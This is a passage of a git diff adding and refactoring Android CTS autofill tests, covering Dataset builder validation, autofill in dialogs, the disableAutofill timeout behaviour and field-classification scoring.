+    protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception;
+
     @Test
     public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
             throws Exception {
@@ -201,6 +204,18 @@
     protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
             throws Exception;
 
+    @Test
+    public final void testTapLinkAfterUpdateAppliedToLinkView() throws Exception {
+        tapLinkAfterUpdateAppliedTest(true);
+    }
+
+    @Test
+    public final void testTapLinkAfterUpdateAppliedToAnotherView() throws Exception {
+        tapLinkAfterUpdateAppliedTest(false);
+    }
+
+    protected abstract void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception;
+
     enum PostSaveLinkTappedAction {
         TAP_BACK_BUTTON,
         ROTATE_THEN_TAP_BACK_BUTTON,
@@ -213,41 +228,56 @@
         TAP_YES_ON_SAVE_UI
     }
 
-    protected abstract void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception;
-
     protected final void startActivity(Class<?> clazz) {
         mContext.startActivity(new Intent(mContext, clazz));
     }
 
-    protected final CustomDescription newCustomDescription(
+    protected RemoteViews newTemplate() {
+        final RemoteViews presentation = new RemoteViews(mPackageName,
+                R.layout.custom_description_with_link);
+        return presentation;
+    }
+
+    protected final CustomDescription.Builder newCustomDescriptionBuilder(
             Class<? extends Activity> activityClass) {
         final Intent intent = new Intent(mContext, activityClass);
         intent.setFlags(Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
-        return newCustomDescription(intent);
+        return newCustomDescriptionBuilder(intent);
+    }
+
+    protected final CustomDescription newCustomDescription(
+            Class<? extends Activity> activityClass) {
+        return newCustomDescriptionBuilder(activityClass).build();
+    }
+
+    protected final CustomDescription.Builder newCustomDescriptionBuilder(Intent intent) {
+        final RemoteViews presentation = newTemplate();
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
+        return new CustomDescription.Builder(presentation);
     }
 
     protected final CustomDescription newCustomDescription(Intent intent) {
-        final RemoteViews presentation = new RemoteViews(mPackageName,
-                R.layout.custom_description_with_link);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
-        presentation.setOnClickPendingIntent(R.id.link, pendingIntent);
-        return new CustomDescription.Builder(presentation).build();
+        return newCustomDescriptionBuilder(intent).build();
     }
 
     protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType) {
+        return assertSaveUiWithLinkIsShown(saveType, "DON'T TAP ME!");
+    }
+
+    protected final UiObject2 assertSaveUiWithLinkIsShown(int saveType, String expectedText) {
         // First make sure the UI is shown...
         final UiObject2 saveUi = sUiBot.assertSaveShowing(saveType);
         // Then make sure it does have the custom view with link on it...
-        getLink(saveUi);
+        final UiObject2 link = getLink(saveUi);
+        assertThat(link.getText()).isEqualTo(expectedText);
         return saveUi;
     }
 
     protected final UiObject2 getLink(final UiObject2 container) {
-        final UiObject2 button = container.findObject(By.res(mPackageName, ID_LINK));
-        assertThat(button).isNotNull();
-        assertThat(button.getText()).isEqualTo("DON'T TAP ME!");
-        return button;
+        final UiObject2 link = container.findObject(By.res(mPackageName, ID_LINK));
+        assertThat(link).isNotNull();
+        return link;
     }
 
     protected final void tapSaveUiLink(UiObject2 saveUi) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
new file mode 100644
index 0000000..741fdda
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatasetTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.Dataset;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DatasetTest {
+
+    private final AutofillId mId = new AutofillId(42);
+    private final AutofillValue mValue = AutofillValue.forText("ValuableLikeGold");
+    private final Pattern mFilter = Pattern.compile("whatever");
+
+    private final RemoteViews mPresentation = mock(RemoteViews.class);
+
+    @Test
+    public void testBuilder_nullPresentation() {
+        assertThrows(NullPointerException.class, () -> new Dataset.Builder(null));
+    }
+
+    @Test
+    public void testBuilder_setValueNullId() {
+        final Dataset.Builder builder = new Dataset.Builder(mPresentation);
+        assertThrows(NullPointerException.class, () -> builder.setValue(null, mValue));
+    }
+
+    @Test
+    public void testBuilder_setValueWithoutPresentation() {
+        // Just assert that it builds without throwing an exception.
+        assertThat(new Dataset.Builder().setValue(mId, mValue).build()).isNotNull();
+    }
+
+    @Test
+    public void testBuilder_setValueWithNullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                (RemoteViews) null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithNullFilter() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue,
+                (Pattern) null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithPresentationNullFilter() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, null,
+                mPresentation));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithPresentationNullPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(NullPointerException.class, () -> builder.setValue(mId, mValue, mFilter,
+                null));
+    }
+
+    @Test
+    public void testBuilder_setFilteredValueWithoutPresentation() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue, mFilter));
+    }
+
+    @Test
+    public void testBuild_noValues() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        final Dataset.Builder builder = new Dataset.Builder();
+        builder.setValue(mId, mValue, mPresentation);
+        assertThat(builder.build()).isNotNull();
+        assertThrows(IllegalStateException.class, () -> builder.build());
+        assertThrows(IllegalStateException.class, () -> builder.setValue(mId, mValue));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mPresentation));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter));
+        assertThrows(IllegalStateException.class,
+                () -> builder.setValue(mId, mValue, mFilter, mPresentation));
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
new file mode 100644
index 0000000..3f7664d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivity.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.AlertDialog;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.EditText;
+
+/**
+ * Activity that has buttons to launch dialogs that should then be autofillable.
+ */
+public class DialogLauncherActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "DialogLauncherActivity";
+
+    private FillExpectation mExpectation;
+    private LoginDialog mDialog;
+    Button mLaunchButton;
+
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.dialog_launcher_activity);
+        mLaunchButton = findViewById(R.id.launch_button);
+        mDialog = new LoginDialog(this);
+        mLaunchButton.setOnClickListener((v) -> mDialog.show());
+    }
+
+    void onUsername(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mDialog.mUsernameEditText));
+    }
+
+    void launchDialog(UiBot uiBot) {
+        syncRunOnUiThread(() -> mLaunchButton.performClick());
+        // TODO: should assert by id, but it's not working
+        uiBot.assertShownByText("Username");
+    }
+
+    void maximizeDialog() {
+        final WindowManager wm = getWindowManager();
+        final Display display = wm.getDefaultDisplay();
+        final DisplayMetrics metrics = new DisplayMetrics();
+        display.getMetrics(metrics);
+        syncRunOnUiThread(
+                () -> mDialog.getWindow().setLayout(metrics.widthPixels, metrics.heightPixels));
+    }
+
+    void expectAutofill(String username, String password) {
+        assertWithMessage("must call launchDialog first").that(mDialog.mUsernameEditText)
+                .isNotNull();
+        mExpectation = new FillExpectation(username, password);
+        mDialog.mUsernameEditText.addTextChangedListener(mExpectation.mCcUsernameWatcher);
+        mDialog.mPasswordEditText.addTextChangedListener(mExpectation.mCcPasswordWatcher);
+    }
+
+    void assertAutofilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        if (mExpectation.mCcUsernameWatcher != null) {
+            mExpectation.mCcUsernameWatcher.assertAutoFilled();
+        }
+        if (mExpectation.mCcPasswordWatcher != null) {
+            mExpectation.mCcPasswordWatcher.assertAutoFilled();
+        }
+    }
+
+    private final class FillExpectation {
+        private final OneTimeTextWatcher mCcUsernameWatcher;
+        private final OneTimeTextWatcher mCcPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            mCcUsernameWatcher = username == null ? null
+                    : new OneTimeTextWatcher("username", mDialog.mUsernameEditText, username);
+            mCcPasswordWatcher = password == null ? null
+                    : new OneTimeTextWatcher("password", mDialog.mPasswordEditText, password);
+        }
+
+        private FillExpectation(String username) {
+            this(username, null);
+        }
+    }
+
+    public final class LoginDialog extends AlertDialog {
+
+        private EditText mUsernameEditText;
+        private EditText mPasswordEditText;
+
+        public LoginDialog(Context context) {
+            super(context);
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            setContentView(R.layout.login_activity);
+            mUsernameEditText = findViewById(R.id.username);
+            mPasswordEditText = findViewById(R.id.password);
+        }
+
+        // TODO(b/68816440): temporary hack to make sure tests pass - everything below should be
+        // removed
+        private IBinder mToken;
+
+        @Override
+        public void onAttachedToWindow() {
+            super.onAttachedToWindow();
+
+            mToken = DialogLauncherActivity.this.getWindow().getAttributes().token;
+            Log.v(TAG, "onAttachedToWindow(): " + mToken);
+        }
+
+
+        @Override
+        public void onWindowAttributesChanged(LayoutParams params) {
+            Log.v(TAG, "onWindowAttributesChanged: p.token=" + params.token + "hack=" + mToken);
+            params.token = mToken;
+
+            super.onWindowAttributesChanged(params);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
new file mode 100644
index 0000000..269f7bf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DialogLauncherActivityTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class DialogLauncherActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final AutofillActivityTestRule<DialogLauncherActivity> mActivityRule =
+            new AutofillActivityTestRule<DialogLauncherActivity>(DialogLauncherActivity.class);
+
+    private DialogLauncherActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testAutofill_noDatasets() throws Exception {
+        autofillNoDatasetsTest(false);
+    }
+
+    @Test
+    public void testAutofill_noDatasets_afterResizing() throws Exception {
+        autofillNoDatasetsTest(true);
+    }
+
+    private void autofillNoDatasetsTest(boolean resize) throws Exception {
+        enableService();
+        mActivity.launchDialog(sUiBot);
+
+        if (resize) {
+            mActivity.maximizeDialog();
+        }
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Asserts results.
+        try {
+            sUiBot.assertNoDatasets();
+            // Make sure nodes were properly generated.
+            assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+            assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+        } catch (AssertionError e) {
+            Helper.dumpStructure("D'OH!", fillRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testAutofill_oneDataset() throws Exception {
+        autofillOneDatasetTest(false);
+    }
+
+    @Test
+    public void testAutofill_oneDataset_afterResizing() throws Exception {
+        autofillOneDatasetTest(true);
+    }
+
+    private void autofillOneDatasetTest(boolean resize) throws Exception {
+        enableService();
+        mActivity.launchDialog(sUiBot);
+
+        if (resize) {
+            mActivity.maximizeDialog();
+        }
+
+        // Set expectations.
+        mActivity.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Asserts results.
+        sUiBot.selectDataset("The Dude");
+        mActivity.assertAutofilled();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
new file mode 100644
index 0000000..afffa56
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -0,0 +1,330 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.Intent;
+import android.os.SystemClock;
+import android.service.autofill.FillResponse;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for the {@link android.service.autofill.FillResponse.Builder#disableAutofill(long)} API.
+ */
+public class DisableAutofillTest extends AutoFillServiceTestCase {
+
+    private static final String TAG = "DisableAutofillTest";
+
+    @Before
+    public void preTestCleanup() {
+        Helper.preTestCleanup();
+    }
+
+    private SimpleSaveActivity startSimpleSaveActivity() {
+        final Intent intent = new Intent(mContext, SimpleSaveActivity.class);
+        mContext.startActivity(intent);
+        sUiBot.assertShownByRelativeId(SimpleSaveActivity.ID_LABEL);
+        return SimpleSaveActivity.getInstance();
+    }
+
+    private PreSimpleSaveActivity startPreSimpleSaveActivity() {
+        final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class);
+        mContext.startActivity(intent);
+        sUiBot.assertShownByRelativeId(PreSimpleSaveActivity.ID_PRE_LABEL);
+        return PreSimpleSaveActivity.getInstance();
+    }
+
+    /**
+     * Defines what to do after the activity being tested is launched.
+     */
+    enum PostLaunchAction {
+        /**
+         * Used when the service disables autofill in the fill response for this activty. As such:
+         *
+         * <ol>
+         *   <li>There should be a fill request on {@code sReplier}.
+         *   <li>The first UI focus should generate a
+         *   {@link android.view.autofill.AutofillManager.AutofillCallback#EVENT_INPUT_UNAVAILABLE}
+         *   event.
+         *   <li>Subsequent UI focus should not trigger events.
+         * </ol>
+         */
+        ASSERT_DISABLING,
+
+        /**
+         * Used when the service already disabled autofill prior to launching activty. As such:
+         *
+         * <ol>
+         *   <li>There should be no fill request on {@code sReplier}.
+         *   <li>There should be no callback calls when UI is focused
+         * </ol>
+         */
+        ASSERT_DISABLED,
+
+        /**
+         * Used when autofill is enabled, so it tries to autofill the activity.
+         */
+        ASSERT_ENABLED_AND_AUTOFILL
+    }
+
+    private void launchSimpleSaveActivity(PostLaunchAction action) throws Exception {
+        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+        sReplier.assertNumberUnhandledFillRequests(0);
+
+        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(SimpleSaveActivity.ID_INPUT, "id")
+                            .setField(SimpleSaveActivity.ID_PASSWORD, "pass")
+                            .setPresentation(createPresentation("YO"))
+                            .build())
+                    .build());
+
+        }
+
+        final SimpleSaveActivity activity = startSimpleSaveActivity();
+        final MyAutofillCallback callback = activity.registerCallback();
+
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
+
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mInput);
+                sReplier.getNextFillRequest();
+
+                // Make sure other fields are not triggered.
+                activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                // Make sure forced requests are ignored as well.
+                activity.getAutofillManager().requestAutofill(activity.mInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mInput);
+                sReplier.getNextFillRequest();
+                final SimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("id", "pass");
+                sUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+            } else {
+                assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+            }
+        } finally {
+            activity.unregisterCallback();
+            activity.finish();
+        }
+        sReplier.assertNumberUnhandledFillRequests(0);
+    }
+
+    private void launchPreSimpleSaveActivity(PostLaunchAction action) throws Exception {
+        Log.v(TAG, "launchPreSimpleSaveActivity(): " + action);
+        sReplier.assertNumberUnhandledFillRequests(0);
+
+        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+            sReplier.addResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedDataset.Builder()
+                            .setField(PreSimpleSaveActivity.ID_PRE_INPUT, "yo")
+                            .setPresentation(createPresentation("YO"))
+                            .build())
+                    .build());
+        }
+
+        final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
+        final MyAutofillCallback callback = activity.registerCallback();
+
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
+
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                activity.getAutofillManager().requestAutofill(activity.mPreInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+                final PreSimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("yo");
+                sUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+            } else {
+                assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+            }
+        } finally {
+            activity.unregisterCallback();
+            activity.finish();
+        }
+        sReplier.assertNumberUnhandledFillRequests(0);
+    }
+
+    @Test
+    public void testDisableApp() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(
+                new CannedFillResponse.Builder().disableAutofill(Long.MAX_VALUE).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Now try it using a different activity - should be disabled too.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+    }
+
+    @Test
+    public void testDisableAppThenWaitToReenableIt() throws Exception {
+        // Set service.
+        enableService();
+
+        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+        final long duration = 2 * Helper.ACTIVITY_RESURRECTION_MS + 500;
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder().disableAutofill(duration).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Wait for the timeout, then try again, autofilling it this time.
+        SystemClock.sleep(duration + 1);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Also try it on another activity.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    public void testDisableAppThenResetServiceToReenableIt() throws Exception {
+        enableService();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE).build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Then "reset" service to re-enable autofill.
+        disableService();
+        enableService();
+
+        // Try again on activity that disabled it.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Try again on other activity.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    public void testDisableActivity() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Now try it using a different activity - should work.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    public void testDisableActivityThenWaitToReenableIt() throws Exception {
+        // Set service.
+        enableService();
+
+        // Need to wait the equivalent of launching 2 activities, plus some extra legging room
+        final long duration = 2 * Helper.ACTIVITY_RESURRECTION_MS + 500;
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(duration)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Make sure other app is working.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Wait for the timeout, then try again, autofilling it this time.
+        SystemClock.sleep(duration + 1);
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+
+    @Test
+    public void testDisableActivityThenResetServiceToReenableIt() throws Exception {
+        enableService();
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .disableAutofill(Long.MAX_VALUE)
+                .setFillResponseFlags(FillResponse.FLAG_DISABLE_ACTIVITY_ONLY)
+                .build());
+
+        // Trigger autofill for the first time.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLING);
+        // Launch activity again.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_DISABLED);
+
+        // Make sure other app is working.
+        launchPreSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+
+        // Then "reset" service to re-enable autofill.
+        disableService();
+        enableService();
+
+        // Try again on activity that disabled it.
+        launchSimpleSaveActivity(PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationScorerTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationScorerTest.java
new file mode 100644
index 0000000..8569472
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationScorerTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.service.autofill.FieldsClassificationScorer;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillValue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class FieldsClassificationScorerTest {
+
+    @Test
+    public void testGetScore_nullValue() {
+        assertThat(FieldsClassificationScorer.getScore(null, "D'OH!")).isEqualTo(0);
+    }
+
+    @Test
+    public void testGetScore_nonTextValue() {
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forToggle(true), "D'OH!"))
+                .isEqualTo(0);
+    }
+
+    @Test
+    public void testGetScore_nullUserData() {
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("D'OH!"), null))
+                .isEqualTo(0);
+    }
+
+    @Test
+    public void testGetScore_fullMatch() {
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("d'oh!"), "d'oh!"))
+                .isEqualTo(100_0000);
+    }
+
+    @Test
+    public void testGetScore_fullMatchMixedCase() {
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("D'OH!"), "D'oH!"))
+                .isEqualTo(100_0000);
+    }
+
+    // TODO(b/67867469): might need to change it once it supports different sizes
+    @Test
+    public void testGetScore_mismatchDifferentSizes() {
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("One"), "MoreThanOne"))
+                .isEqualTo(0);
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("MoreThanOne"), "One"))
+                .isEqualTo(0);
+    }
+
+    @Test
+    public void testGetScore_partialMatch() {
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dude"), "Dxxx"))
+                .isEqualTo(25_0000);
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dude"), "DUxx"))
+                .isEqualTo(50_0000);
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dude"), "DUDx"))
+                .isEqualTo(75_0000);
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("Dxxx"), "Dude"))
+                .isEqualTo(25_0000);
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("DUxx"), "Dude"))
+                .isEqualTo(50_0000);
+        assertThat(FieldsClassificationScorer.getScore(AutofillValue.forText("DUDx"), "Dude"))
+                .isEqualTo(75_0000);
